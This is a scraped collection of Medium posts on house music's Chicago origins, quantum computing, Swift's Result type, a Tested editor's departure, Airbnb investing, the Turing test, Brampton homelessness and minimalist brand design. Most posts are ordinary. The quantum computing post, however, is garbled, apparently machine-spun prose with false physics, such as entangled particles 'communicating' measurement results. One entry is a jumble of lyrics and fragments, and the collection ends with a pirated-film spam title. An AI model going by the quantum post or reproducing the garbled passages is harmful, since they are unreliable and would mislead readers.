House music is one of the most popular genres worldwide in the modern era, but the emergence of the genre and other accompanying subgenres was birthed out of major civil unrest. The genre, much like how it still is today, was driven through the underground scene and ultimately exploded into mainstream culture. However, it is the story of how house music emerged in Chicago, much to the disdain of major corporations, that is simply fascinating. House music’s roots originate deep in Chicago’s Southside, the city that birthed the popular genre, but it was through the fall of one genre, disco, that saw the genre of house music rise to the top. During the late 70s, radio heavily impacted society and its culture, and its formatting influenced music. In an era where Rock n Roll reigned supreme, many grew angered at the fact that disco was pushing out the classic hegemonic genre, and incoming was a genre that promoted the ‘outcasts’ of society. So frightened by change in society, DJs of mainstream radio stations would smash disco records live on air, and run vinyl pins right across them so that they would become inaudible. In a last ditch attempt to destory the emerging genre, and with knowledge that the Chicago White Sox attendance levels were dropping at an alarming rate, rock station WLUP approached the White Sox with a lucrative offer they could not refuse. On July 12th, 1979, 50,000 people attended Comiskey Park, home to the Chicago White Sox to observe “Disco Demolition”. The promotional stunt, arranged by Major League Baseball saw fans permitted entry for nothing more than 98 cents provided they brought a disco vinyl along with them. To issue some context on the “Disco Demolition Night”, you must take into account how commercially dominant disco had become in the US at the time. Of the 16 singles that made the top of the US chart in the first half of 1979, only three were not disco tracks. Alice Echols, cultural historian, academic and author of Hot Stuff: Disco and the Remaking of American Culture explained: “It had pushed AOR (Album Orientated-Rock) not to the margins precisely, but classic rock didn’t have the dominance on radio that it once had. Live music venues were increasingly switching over to disco. There were people who thought it threatened their livelihoods, there were people who thought it sounded plastic and synthetic, and there were people who were just nakedly racist and homophobic.” The ugly event involved predominantly white men, storming the field and publicly destroying music made by black artists, dominated by female stars and with a core audience that was, at least initially, largely gay. Fear of disco was simply the fear that the American identity was no longer synonymous with whiteness, and once the mainstream executives had turned their back on the culture, disco had to find a way to reinvent itself. However, there was a new form of music emerging in the depths of Chicago in the form of house music. House music attained its name from the Warehouse, a members-only gay club for black men, hosted by the legendary DJ Frankie Knuckles. Other young black men such as Jesse Saunders, Marshall Jefferson, Larry Heard were beginning to catch wind of the underground that revolution Knuckles had started, and through the technical innovation of drum machines, they began producing music of their own in the early 80s. It was the culmination of Frankie Knuckles and the other aforementioned House legends’ incredible hard work that allowed for the formation of what we know today as house music. House music was, and very much still is, a genre based solely around inclusivity. It welcomed young, old, gay, straight, black, and other ethnic minorities because it didn’t matter, house music wasn’t about segregation. The Warehouse was the first major club to open its doors, but others soon followed suit, suddenly Chicago was thriving with clubs that minority communities would be welcomed into. There was The Music Box, The glass House, and 178. There was no glitz, no glammer, no alcohol, the people came simply for one thing: the music. Meanwhile, much to the disgust of leading executives at the time, female vocals often dominated house music. Crystal Waters’ “Gypsy Woman (She’s Homeless)” and “100% Pure Love” remain classics to this day, whilst Robin S’ “Show Me Love” transcended house music, becoming a classic in both the dance and R&B scene. The house genre is constantly changing with various sub genres stemming from the initial variant such as Acid House, Deep House, Italo House to name a few, but there are many artists who are still paying homage to its legacy. The likes of The Black Madonna, Honey Dijon (two of the biggest female DJs in the world), and Mark Farina all hailing originally from Chicago still waving the banner for ethnic minorities, and representing Chicago House music across the world still to this day. Meanwhile, the city of Chicago annually pay their respects to the genre of music that has seen the city stand out on the musical front, and displayed their devotion to inclusivity and equality. Every year the outdoor West Fest gives Chicago residents and visitors a weekend full of house music, food, and historical lessons on how house music became so important to the incredible city. The evolution of disco to house music is such an interesting story. By no means did house music dethrone disco, it was more like a phoenix rising from the ashes of major corporations that wanted to sustain the white hegemonic dominance. Thankfully, they failed. The historic drum machines, samplers, and synths still live strong to this day, but it is the inclusivity of house music, in that any one was welcomed (and still is) that makes it so important, and probably a huge reason as to why it still resonates with so many people. Let there be house.

https://medium.com/@benswrite/the-evolution-of-music-part-1-chicago-house-music-c873f52624de

['Ben Broyd']

2021-03-22 11:00:32.260000+00:00

['House Music', 'Inclusion', 'Chicago', 'Equality', 'Social']

How Do Quantum Computers Work?

“The purpose of quantum computing based compassionate artificial intelligence is to develop integrated systems that can preserve and enhance human values of peace, love, happiness and freedom.” ― Amit Ray What is a quantum computer? All computers rely on bits, the smallest unit of information encoded as an “on” “off” state, more commonly referred to as 1 or 0 by some physical medium or other means. Quantum computing is a new generation computer based on quantum mechanics, a branch of physics that studies atomic and subatomic particles. So, these supercomputers perform speeds and calculations that the average computer can’t handle. A quantum computer uses something called qubits. Quantum partners can perform multiple operations at once. These machines store more than one state per unit of data and operate on more efficient algorithms. And the incredible processing power enables quantum computers to solve complex tasks and search through unsorted data. Traditional computers perform logical operations using the exact location of a physical state. These are usually binary, and their functionality is based on one of the two locations. Quantum computers perform calculations before measuring the position of an object. Such a “quantum bit” provides greater flexibility than the binary system. This concept is heavily being used in the field of cryptography. To build a working quantum computer, you need to keep an object in a high position. Unfortunately, once a superposition meets with materials that are part of a measured system, it loses its quantum state and becomes a boring old classical bit. Devices must be able to protect quantum conditions aesthetically and should be easy to read. Quantum dominance describes the ability of quantum computers to surpass their classical counterparts. What is a qubit ? Qubit is a quantum bit, which is the binary number of quantum computers. Just like the basic unit of information in classical computers, quantum computers use qubits. Qubit is a two level quantum mechanics system, the simplest quantum system that exemplifies the uniqueness of quantum mechanics. Elemental particles such as electrons or photons, can be used in a quantum computer, and their charge or polarization acts as a 0 or 1 representation. The basis of quantum computing is the nature and behavior of these particles. The two most relevant areas of quantum physics that are also used in Quantum Computing are the principles of Superposition and Entanglement. Superposition in quantum computing Consider the qubit as an electron in a magnetic field. The rotation of an electron is either aligned with the field or opposite to the field and is known as the rotating state. Changing the rotation of electrons from one state to another can be achieved by using a laser-like energy pulse. Let’s say we use 1 unit of laser energy, but what if we use only half of the laser energy and completely isolate the particle from all external influences? According to the quantum law, the particle would enter a superstructure of states, behaving as if it’s in both states at the same time. Every qubit used can take a super position in both 0s and 1s. The number of computations that a quantum computer could undertake is 2^n, where n is the number of qubits used. According to that point, this amazing number, 2¹⁰⁰⁰ is atomically and infinitely larger than the number of atoms in the known universe. Quantum entanglement describes how these particles interact with each other. Entanglement in quantum computing The interacted particles retain a type of connection and become entangled with each other in pairs, in a process known as correlation. If two qubits are in conflict, the measurement of one qubit will immediately “break” the value of the other. Not only that, but if we measure a qubit in an entangled state, we can get the value of the other qubit. There is no need to measure a second qubit as the same effect occurs even if the two entangled qubits are far apart. Knowing the rotational position of one entangled particle (up or down) allows one to know that one’s partner is rotating in the opposite direction. Even more astonishing is that due to the superposition phenomenon, it is measured that the particle rotates in both directions simultaneously. This is the same even if the particular particle does not have a single rotational direction before being measured. The rotational position of the measured particle is determined during the measurement and is communicated to the correlated particle, thereby assuming the opposite direction of rotation to the simultaneously measured particle. Quantum entanglement allows qubits that are separated at incredible distances to instantly interact with each other. Applicable use cases in quantum computing Quantum computers already exist to perform certain functions, all of which require very rigorous calculations that classical computers cannot handle. There are four main applications which are mentioned in the following figure. Conclusion You would have understood that quantum computers can be faster than classical computers. And this can be done, by activating a number of online quantum amplifiers at the same time. Unfortunately, so far, only specific algorithms exist. On the other hand, quantum cryptography is available with controllable quantum bits. It is a secure cryptographic proposition that can be proved in some sense. References

https://medium.com/ucsc-isaca-student-group/how-do-quantum-computers-work-ff76b3d66564

['Piyumi Rathnayaka']

2021-09-05 11:05:44.170000+00:00

['Quantum Superposition', 'Quantum Computer', 'Qubit', 'Quantum Computing', 'Quantum Entanglement']

Swift: Beyond Switching on a Result

Swift: Beyond Switching on a Result Swift.Result’s potential goes beyond just getting the value/error using a switch clause. Let’s look at a few things you can do Photo by Hitesh Choudhary on Unsplash Get the Success Value as an Optional In some cases, you just need the success value of a Result . With func get() throws -> Success , you don’t need to use a switch clause.

https://medium.com/better-programming/beyond-switch-swift-result-6e4a91cda6b6

['Alberto Salas']

2019-08-05 12:30:32.351000+00:00

['Mobile', 'Programming', 'Swift', 'Software Development', 'iOS']

It’s Time For Me To Tackle Something New

Cue the sappy music. About six years ago, I pitched my idea for Tested to the folks at Whiskey Media. My pitch was simple, let’s make a technology site that’s about having fun with technology instead of showing people how snarky and cool we could be. I never could have predicted the way that one conversation would change my life. Since Norm and I launched Tested in 2010, I’ve been privileged to go places and see things that I never thought I’d see in person. I stood on top of a nuclear reactor (while it was running!), I was the kitchen assistant to a couple of world-class chefs who were developing recipes for astronauts, I helped test different ways to waterproof cameras, I hosted a bunch of 24-hour charity shows, I tested talk time on six phones simultaneously, I 3D printed LOTS of goofy stuff, I learned to race quadcopters, I made a bunch of goofy faces, I saw the future of robotics, I helped turn a San Diego bar into the carbon freezing chamber from Empire Strikes Back, and I had the opportunity to work with and learn directly from Adam Savage and Jamie Hyneman on a daily basis. Put another way, I’ve spent the last five and a half years meeting thousands of amazing people and helping to tell their stories every day. The places I’ve been and things I’ve seen are nothing compared to the amazing makers, scientists, nerds, students, and entrepreneurs I’ve gotten to meet while making the 2512 videos (as of 9/10/2015) that we’ve posted on Tested since 2010. But, now it’s time for me to step away from Tested and take on a new challenge. One of the things I’ve realized about myself over the last five years is that I’m happiest when I’m testing the tech on the bleeding edge — the technology so new that the creator’s original intent is still visible and the long-term potential is murky. The decisions made in these early moments of a new technology are the ones that change the world. By the time designers are worrying about incremental updates and chamfered edges, I’m bored. Enter VR. I may have accidentally become the face of VR thanks to a couple of excellent photographs that Norm shot (Thanks Norm!) , but I find VR captivating nonetheless. From my perspective, VR is the next rough-edged technology with the potential to change the world. After sharing a virtual world with another person during the Oculus Touch demo at E3 this year, I became a believer. I can’t stop thinking about the potential of VR as a communication medium. To that end, I’m starting a company to test out some different ways to communicate in VR. I’ve put together what I think is a pretty solid plan, but need to start doing all the scary business stuff I’ve never done before — raising money from investors, building a development team, hiring a lawyer, figuring out how to do payroll, and a bunch of other stuff I’ve probably never considered. As I ramp up my new company over the next few months, I’ll be gradually stepping back from my day-to-day duties on Tested. Don’t worry, I’m leaving Tested in good hands. Norm and I have always run Tested as a team. Both of our business cards have always said “Editor”. We’ve always done what we wanted on small stuff and consulted each other on big projects. The results show on the site. I have the greatest confidence that Norm will continue making Tested the most interesting site on the Internet. And I’m not going to disappear from Tested. I’ll continue on Still Untitled as a regular, a guest on This Is Only a Test, and probably even pop up in videos from time to time. And Norm, I’m available as a guest for LEGO With Friends! And yes, I’ll be at the live show in San Francisco next month. So what’s next for me? I won’t be ready to give the full details for a while, but you can sign up for my TinyLetter to get 100% spam-free email updates about how things are going, follow me on Twitter for company updates (and other nonsense), sub to my YouTube channel, or subscribe to posts here. Thank you all for your support over the years. I also owe a debt of gratitude to the everyone from Whiskey Media (including our former partners-in-crime at Giant Bomb, ComicVine, Screened, and AnimeVice) and Whalerock Industries who have made it possible for me to do everything that we’ve done at Tested so far. More than anyone else, Norman Chan has been an amazing creative partner over the last 8 years, both at Tested and Maximum PC. Thanks Norm. Edit: Like the biggest asshole ever, I didn’t post the right version. Joey Fameli has been behind the camera on the vast majority of videos we’ve posted over the last five years. He is the reason we look good in our videos. He shot the very first videos we put on the site, dealt with my amateur behavior while we were learning how to do video, and gently nudges us in the right direction. Thanks Joey. It’s been an amazing ride and I can’t wait to show you what’s next!

https://medium.com/will-smith/it-s-time-for-me-to-tackle-something-new-1f592b6022c7

['Will Smith']

2015-09-10 20:18:25.432000+00:00

['Startup', 'Virtual Reality']

Well I think because I loved music since i was so young i am very familiar with it. Sometimes i think it takes time to recognize and organize songs by ear and it can take quite a bit of thinking. Real

Well I think because I loved music since i was so young i am very familiar with it. Sometimes i think it takes time to recognize and organize songs by ear and it can take quite a bit of thinking. Really i think it’s how you really use your brain. Sometimes i compare sight reading to maths because though you have to look at certain qualities in the piece of music Shami Sep 1, 2019·13 min read “Music BoxMariah Carey Lyrics to Carousel : Steal My Sunshine | hmmm…never been to Hawaii Mexico) K’usi aw otan Transvision Vamp Baby I Human (Armin Van Buuren who put me here. parents won’t apporve? Who full version how to need more games to for 105 different relationships. (Fiji) Ni sa bula Bom (Korean & English) EVER WE GO… Gypsy (China) [many people] Nmen Welcome to my home. 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https://medium.com/@6shami/well-i-think-because-i-loved-music-since-i-was-so-young-i-am-very-familiar-with-it-83463c4a6139

[]

2019-09-01 12:27:11.147000+00:00

['Startup']

Real Estate

Investors Chasing Housing Target Massive Pools of Airbnb Rentals Investors hunting for returns in the frenzied U.S. real estate market are tapping a new strategy: building massive portfolios of houses to rent out on Airbnb. A recent filing reveals that Dublin, Ohio-based ReAlpha is seeking to spend as much as $1.5 billion, including debt, to buy short-term rentals at an unprecedented scale. The money would be enough to purchase roughly 5,000 homes, Chief Executive Officer Giri Devanur said in an interview. Fast Decisions Devanur, who took enterprise-software company Ameri100 public in 2017, said he wants to open up access to real estate investing by letting regular people buy fractional ownership of short-term rentals on his company’s app. ReAlpha plans to use artificial intelligence software to evaluate home listings and make fast decisions on how much it’s willing to pay. The company will target markets including Austin, Dallas and Miami, where it can acquire 100 to 500 homes. And it’s exploring ways to buy discounted homes when a federal foreclosure moratorium ends. “We have spoken to a bunch of banks where we can buy hundreds of properties at a time,” Devanur said. “We can analyze thousands of properties in a minute. For us, everything is through technology.” Rental Rise Airbnb’s rise over the last decade inspired a generation of entrepreneurs who buy, furnish and manage vacation rentals on a small scale. Larger companies also sprung up, often focusing on managing properties as opposed to owning them. In some cases, they branded their offerings, creating lodging businesses akin to Courtyard by Marriott or Hampton Inn. Venture capitalists, meanwhile, backed companies that leased apartments from building owners and converted them into a new category of hotel. One such firm, Sonder, is slated to go public through a merger with a blank-check company later this year. Lodging Firm Sonder Agrees to $2.2 Billion Gores SPAC Merger Still, owning short-term rental homes in far-flung locations is challenging. It requires owners to route house cleaners and maintenance people across large areas. While long-term leases protect owners of offices, apartments and warehouses from economic shocks, the hospitality industry enjoys no such buffer. Read more…

https://medium.com/@realpha/real-estate-739bab5737b7

[]

2021-07-15 07:31:10.789000+00:00

['Real Estate', 'Passive Income', 'Rental Property', 'Property Investment']

Turing Test vs Chinese Room Argument

Albert Einstein once famously remarked that “ The measure of intelligence is the ability to change.” Since the past two centuries, there has been a constant effort to define AI both in Medical and AI community. Two of the most famous attempt to tackle this are Turing Test and The Chinese room argument. Turing test is a method of measuring AI on whether they are capable of thinking like humans. The Turing Test is a deceptively simple method of determining whether a machine can demonstrate human intelligence: If a machine can engage in a conversation with a human without being detected as a machine, it has demonstrated human intelligence. In simple words even if you are not a human but act like one you are human. On the other hand, according to American philosopher John Searle said that the Turing test was inadequate. The argument and thought-experiment are now generally known as the Chinese Room Argument. Imagine youself in a closed room. Now suppose a girl passed a chinese letter to you. You don’t know anything about chinese but you have chinese to english(and vice-versa) computer program. With the help of that you decode and converse with the girl. The narrow conclusion of the argument is that programming a digital computer may make it appear to understand language but could not produce real understanding. Searle argues that the thought experiment underscores the fact that computers merely use syntactic rules to manipulate symbol strings, but have no understanding of meaning or semantics. Computers at best can simulate what we can understand. Which one is more appealing to you? I think most people will go will Searle because that just makes us think that we are much more interesting and complex to decode.😯 Photo by kazuend on Unsplash Well, both theory might intrigue you on giving you thought on which is better I would also like to put a few cons of each theory. Turing did not explicitly state that the Turing test could be used as a measure of intelligence or any other human quality. He wanted to provide a clear and understandable alternative to the word “think”, which he could then use to reply to criticisms of the possibility of “thinking machines” and to suggest ways that research might move forward. One of the most commonly raised objection is that even though the person in the Chinese Room does not understand Chinese, the system as a whole does — the room with all its constituents, including the person. So here I conclude my thoughts on this. What's your take on both? Do you think anyone can be standalone used as metric of measuring intelligence? Here are a few of my other blogs.

https://medium.com/ai-in-plain-english/turing-test-vs-chinese-room-argument-4e7592c3277

['Parth Chokhra']

2020-10-22 16:27:57.540000+00:00

['Machine Learning', 'Philosophy', 'Artificial Intelligence', 'AI', 'Data Science']

ARE WE REANIMATING THE ‘SOCIALLY DEAD’ IN BRAMPTON?

A primer to thinking about the people living without a home in your city. Note: This was written in part of a project to analyse the spread of COVID-19 in Brampton. Seeing our community being blamed for the spread of COVID-19 when Brampton is chronically unserved, underrepresented, and underfunded was hurtful and we decided to do something about it. We came together to produce eight different accounts of what must be improved in Brampton for all communities to live equitably — and this is my contribution. (I will provide link to the full publication when it comes available because everyone else’s is awesome!) INTRODUCTION The healthcare crisis in Brampton compounded with COVID-19 places residents in great need of diversified community care to ensure each person is able to adapt and survive. Prior to the pandemic, Brampton has been facing an onslaught of complex existential threats requiring multi-faceted solutions based on the understanding of individual, community and regional experiences. People who have little to no value are not seen as a priority and are otherwise known as the ‘social dead’ (Cacho, 2012). This primer is a step into challenging how we value people in capitalistic measures of worth. Not every person who lives in Brampton has a home to safely rest and live in. On April 24, 2018, 922 people were recorded to be experiencing homelessness in the Region of Peel (Caledon, Brampton, Mississauga). (Peel, 2019) Is our city built to expect people to not have a home? It is likely more than 922 people are living without a home in Peel in November 2020 and are in an ever-increasingly precarious situation. This is based on the combination of the impacts of the pandemic exacerbating the issues of unaffordable housing, unemployment, and lack of healthcare support (Brown, 2020). In the past year, Peel has seen nearly 2,000 new listed households waiting for affordable housing units compared to 13,000 already waiting since 2019. This shows a greater demand for affordable housing which is already in short supply. In March 2020, unemployment rates for youth and adults doubled, showing that people would have greater difficulty in paying for their basic needs, let alone a home. Brampton declared a healthcare emergency in January 2020, pre-COVID, recognising that there is a lack of support for health and social services (Singh, 2020). Without access to adequate health care, how are people expected to sustain a working lifestyle? Homelessness is the result of an accumulation of structural and systemic failures shaping individual circumstances. Pathways into and out of homelessness are neither linear nor uniform (The Homeless Hub, 2013). Nevertheless, experiencing either chronic (people living in homelessness for a year or more) and episodic homelessness (people living in and out of homelessness) leaves one extremely vulnerable (The Homeless Hub, 2014). While there is no single cause for homelessness, out of the five suggested solution-focuses: more affordable housing, community support, funding, home search assistance and employment, the majority of respondents to The Homeless Hub’s Point in Time Count survey selected that the existence of more affordable housing would help them have a home (Peel & PAEH, 2019). Do we need more affordable housing units or do we need housing to be affordable? AFFORDABLE HOUSING CRISIS The Region of Peel offers 7,100 affordable units to households. But as of this past June, 14,997 households are on the wait-list for subsidised units. Last year, the list was just over 13,000 households and the average wait time is an astonishing 6–7 years. People look to shelters for alternatives, but Brampton has an accounted 261 beds across 6 shelters; 3 of which only houses males, 1 for youth, 1 for any household, and 1 for women with only 4 beds. In January, there was some confirmed planning for opening a shelter for women by Brampton city councillor Martin Medeiros but there have been no further updates (Ricci, 2020). With these abysmal numbers of high demand but low supply, how is the city currently serving all of its constituents? Peel Region’s response to social-distancing was the mobilisation of programs to ensure people experiencing homelessness are able to self-isolate and recover while preventing the spread of COVID-19. Beginning in March, Dr. Naheed Dosani, Medical Director of the COVID-19 Homeless Response for the Region of Peel, made a team of medical, health and social service experts, to move people living outdoors and overcrowded shelters into hotels and other temporary commercial sites across the three cities (Peel, 2020). They provided screening, testing and transportation for people suspected or confirmed to have COVID-19 (Peel 2020). If tested positive for COVID-19, the team places the individual into their isolation and recovery program where the patient would be separated in temporary accommodation for Peel Paramedics daily monitoring, and Salvation Army supporting them with plans for long-term accommodations. About 11,887 households are known to be receiving a housing subsidy while living outside of transitional housing (Brown, 2020). There were plans to increase the supply of affordable housing, but the Region of Peel failed to follow through and has effectively abandoned their 2018–2028 Home for All Strategy in constructing 7,500 affordable units annually over the 10 years. The region’s current funding strategy allows for only 2,240 new affordable housing units by 2028. It’s ridiculously far from the original goal despite already invested $700 million from the original plan over the last two years with the additional $276 million as of August (Peel, 2020) and another $9.7 million was announced earlier this month to be disbursed to help social services support our vulnerable population (Marychuk, 2020). Which will cost the city more: investing in zero poverty now, later or never? As the region continues to mobilise the stop-gap solution to people living experiencing homelessness and COVID-19, they assess each case based on need, allowing the Region of Peel to administer housing allowances proportionately and not by application date (Peel, 2020). Who benefits from the displacement of homeless people? ACCESSIBILITY & HEALTHCARE CRISIS Ted Brown, CEO of Regeneration Outreach Community in Brampton, underlined that while hotels were able to house 51% of Peel region’s emergency shelter seekers, it could displace the person from accessing mental health and community support they had prior to moving into a hotel, thus forcing them to weigh their need for shelter against need for social connection and current or potential job location (Brown, 2020). Figure 1 (rendered by Purvangi Patel) Map of Supports in Brampton for people living in homelessness & Total Incidence of COVID-19 Cases in Brampton Brampton is a city that requires vehicles to get around. Most of these support services are situated in the downtown core along Highway 410 and Queen St. East. While homelessness is typically more visible to the public, suburban and rural homelessness is often hidden but very much exists (Taylor, 2018). This misconception can make it harder to secure funding and development. For a homeless youth working a minimum or student wage in Brampton, they are earning $13.40 per hour compared to the general minimum hourly wage of $14.25 across Ontario. It would be practically impossible for someone earning minimum wage to rent an apartment in Brampton’s outskirts or downtown. They would need to work 90–100 hours a week to cover the $1,260 monthly rent. To secure a liveable wage, who are homeless people competing for jobs with? When nation-wide preventative measures took place, work-from-home transitions, temporary and permanent layoffs forced average unemployment rates in Peel to double. Closures preventing access to our already limited digital access to computers, Internet and other tools to develop and market oneself pose a hurdle to securing an income. While there is a steady decline of the unemployment rate, the people who have access to digital tools can transition into an online workspace more easily than those who do not, leaving behind the people without the chance to adapt and forcing them to fill jobs that would put them at greater health risk. For those without a home and relocated temporarily in a hotel without an income to take transit to acquire their usual services at soup kitchens or mutual aid centres, this isolation would deny a key component in attaining job stability, mental health and social connection (Brown, 2020). OUR SOCIAL DEAD Entangled in a nexus of stigma, vulnerability, isolation, denied humanity, discrimination and exclusion based on one’s housing status are reflected in general interactions with the public, city legislation, law enforcement and the health care system (IGH, 2017). It spawns fear and makes asking for help within and outside one’s networks even harder because it furthers the risk of harassment, negative subjection and marginalisation for a population trying to meet the basic human needs of food, clothing, and shelter. Who are your community supports? In neoliberal ways of knowing, the value of life is subjected to economic analysis and assessment of one’s contributions, accomplishments, or investments to their economy and society (Cacho, 2012). It’s the question of “Are they worth the resources?” Our councillors have not pushed for more funding for support despite having known and hearing the concerns consistently since at least 2018. Based on the 2020 budget passed in January, there was no proposal for any major investment in new housing projects. The only requests to support people living in homelessness were on increasing anti-human trafficking work and maintenance of current service levels; a total of $2 million, which is 0.05% of the total budget (VanOfwegen, 2019). Since COVID-19, our region has taken a concrete step by purchasing a building in Mississauga intending to convert it into a shelter space and opening additional proposed social services throughout the region. But what is troubling is that this session of acquisition and planning was closed and it is unclear why it was not a public conversation (Wittnebel, 2020). Are the impacted communities part of the development and design of our multi-faceted solutions? The current response of providing temporary housing and healthcare with the intention to secure permanent affordable housing seems like a plan to reanimate our socially dead and reintegrate them into our capitalist society. But as these efforts contradict social connection and mental support, we are reanimating our socially dead into a space of social limbo because we have yet to change the way people understand homelessness and the idea of measuring a person’s life value. If we begin to conscientiously work against the logic of survivability, perhaps we might find ways to fully revitalise our community (Cacho, 2012). “Rather than ‘breathe life’ into the spaces of social death (gentrification, privatization, and democratization), we might conscientiously work against the logic of survivability.” — Lisa Marie Cacho (2012) REFERENCES Brown, T. (2020, November 13). COVID-19 & Its Effects on the Homeless. Retrieved on December 1, 2020. Cacho. L. M. (2012). Introduction: The Violence of Value. In Social death: racialized rightlessness and the criminalization of the unprotected (pp. 32–33). introduction, New York University Press. The Homeless Hub. (2014). Addressing Chronic Homelessness. The Homeless Hub. Retrieved on December 1, 2020. The Homeless Hub. (2013). Causes Of Homelessness. The Homeless Hub. Retrieved on December 1, 2020. Institute of Global Homelessness. (2017). Stigma & Social Isolation. Institute of Global Homelessness Hub. Retrieved on December 1, 2020. Marychuk, M. (2020, November 4). Province gives Peel $9.7 million to help vulnerable people in Brampton, Caledon and Mississauga. Caledon Enterprise. Retrieved on December 1, 2020. Region of Peel. (2020, July 10). The Region of Peel’s COVID-19 Homeless Report; The Region of Peel. Retrieved on December 1, 2020. Region of Peel. (2020, May 7). Peel’s COVID-19 response helping to flatten the curve of spread in homeless shelters. Region of Peel. Retrieved on December 1, 2020. Region of Peel. Peel Living Tenants. Retrieved on December 1, 2020. Region of Peel. (2020, August 7). Region of Peel receives over $276 million in federal funding to support Affordable Housing Master Plan. Region of Peel. Retrieved on December 1, 2020. Region of Peel. Unemployment Rate. Retrieved on December 1, 2020. Region of Peel & Peel Alliance to End Homelessness. (2019, March). Everyone Counts Peel. Region of Peel; The Homeless Hub. Retrieved on December 1, 2020. Ricci, T. (2020, January 25). 3 Women living on the street explain why Brampton needs a women’s shelter. CBC News. Retrieved on December 1, 2020. Singh, H. (2020, January 22). Brampton City Council declares a Health Care Emergency. City of Brampton. Retrieved on December 1, 2020. Taylor, M. (2018, July 26). How is Rural Homelessness Different from Urban Homelessness? The Homeless Hub. Retrieved on December 1, 2020. VanOfwegen, S. (2019, November 7). 2020 Budget; The Region of Peel. Retrieved on December 1, 2020. Wittnebel, J. (2020, September 29). Brampton’s downtown is being overwhelmed by homelessness and drug use; Region promises help. The Pointer. Retrieved on December 1, 2020.

https://medium.com/@jntrn/are-we-reanimating-the-socially-dead-in-brampton-de19f22dd3bf

[]

2020-12-08 15:55:46.609000+00:00

['Brampton', 'Healthcare Crisis', 'Homeless', 'Urban Life', 'Housing Crisis']

The Direct-to-Consumer aesthetic: how minimalism obscures our identities

The Instagram ads you are mysteriously compelled to click on are slowly molding your style preferences. You know the ad with the perfect looking french bulldog wearing the sleek pink harness for purchase. The dog is walking toward their monochromatic-outfitted-owner standing against a bold orange studio backdrop. You can’t forget about the expected Sans Serif typeface with a pre-destined personality. I’m in a candy store filled with digital brands like Warby Parker, AllBirds, Outdoor Voices, Everlane, Casper, Wild One, Glossier, By Humankind, and BarkBox products, to name a few. Or am I? I’m beginning to lose my taste. Is the flavor losing its punch or is it me? Would I dare to purchase that random plant pot misplaced at the local garden store rather than from The Sill, the epitome of DTC brands? This distinct style of these brands is rapidly finding its way into all sorts of areas in this digital consumer era. The designs are becoming predictable. Equally as predictable: the backstory, the mission. Photo from Wild One. DTC Aesthetic: Addressing the Elephant in the Room Now more than ever, consumers want a story and cause to rally behind. The idea of “putting your money where one’s mouth is” is the fruition of new generations leveraging their collective online presence. During the heated 2016 Presidential Election, we witnessed brands come under the limelight for their endorsements, specifically from upper leadership, and laid out bare for criticism, resistance, and bad press. Vogue? Couture? Flagship Only? Who cares. Tell me about your social, environmental, and political impact. Only radical transparency, please. The first time I walked into Warby Parker to purchase a pair of glasses I was embraced warmly by their seemingly sensible product, story, and mission. This could be a case for successful branding and marketing efforts. What we’re seeing more is the DTC brand aesthetic infiltrating media and other industries beyond lifestyle products. This minimal and distinct Sans-Serif, hand-drawn illustrations, suave color schemes, and brand woke-ness is a formula reaching all corners of the internet. No doubt, these once small digital brands are shaking up larger, older brands to compete in this new social media enriched era. Minimalism is embraced in the DTC world. I’m thinking of the minimal effort placed on the consumer to get what they want. Who are these new products really serving though? There’s always the forefront of inclusivity, sustainable practices, and ally-ship with many brands through social media features, collaborations, and representations. It’s all becoming formulated to serve the ideal consumer who fits this ideal streamlined lifestyle. The personality of the product is dismantled into a distinct profile and leaves little for the imagination. How Minimalism Obscures Culture and Stories This reminded me of a recent Scratching the Surface podcast featuring Kyle Chayka and host Jarret Fuller. In this episode, Jarrett and Kyle discuss how minimalism often obscures complex systems. Kyle described an example where magazines sold were sorted by their level of minimalism. The copies that were more minimal in design were sold at a higher price point than those with a less minimal composition. Industries hold certain aesthetics as more valuable and more worthy than others. This might be rooted in our Western cultural values and the oppression of other cultures. Photo source from Vox by Bon Appétit. One avenue of influence from strict minimalistic aesthetic guidelines is found in the food entertainment industry. More specifically, the growing popularity of the Bon Appétit YouTube Channel has created a cult following of what would appear to be a wholesome fandom. “Burnt the bread? No problem, it happens. We’ll work it through together.” Every test kitchen editor oozes the New York cadence and carries a home-cook’s approach to cooking. This past summer, Bon Appétit dismantled their iconic staff due to pay discrepancy between their white staffers and those who are Black or of color. From their editorial side, a conversation started to spark around how often BIPOC create recipes rooted deeply in their culture that must be decontextualized and trimmed away to mold into the minimal and accessible-yet-exclusive framework that many mainstream food media abide by. Effective inclusive practices in the digital age are not a watered-down more chewable version of a piece of content. Instead, it contains a long-term embodiment of culturally diverse stories and content that go beyond becoming culture props. A Case for Successful Branding But Loosen Up A Little I want to remind us of the magical experience of connecting with an object or service where a story is continued over time. Also where the design and aesthetic possibilities aren’t so formulated. It doesn’t have to be a one and done story. Photo from Adobe blog post featuring COLLINS redesign of Twitch. In an interview with Adobe, Brian Collins, chief creative officer of COLLINS, shared insights around their design decisions and approach for the recent rebranding of the global digital platform Twitch. COLLINS embraced the radical idea of “mess is more.” Collins discusses the reasoning behind this decision, “One look at the history of Twitch told us that to reduce this winning formula it to a bland, minimalist design language would be ridiculous. For Twitch, less is not more. Mess is more.” “A good brand delivers a product or service consistently. A great brand is about meeting — and then exceeding — the expectations of the present, while building equity for the future.” Design is THE things right now. These trendy DTC brands have typically put human needs to the forefront of their products and identity. This might explain why a desk lamp from an online DTC brand is far better than the one off the Staples shelf. It’s now a matter of keeping these brands accountable and preventing one’s identity to be swept away by aggressive online aesthetics.

https://uxdesign.cc/the-rapid-wildfire-of-the-direct-to-consumer-aesthetic-a-formula-lacking-flavor-4b3bc75f5b07

['Yuna Shin']

2020-12-02 00:04:10.657000+00:00

['UI', 'Design', 'Ts', 'Marketing', 'Visual Design']

[ZH/EN] !! 心灵奇旅 — 完整版 2020在线免费 Hd-1080p (4K)

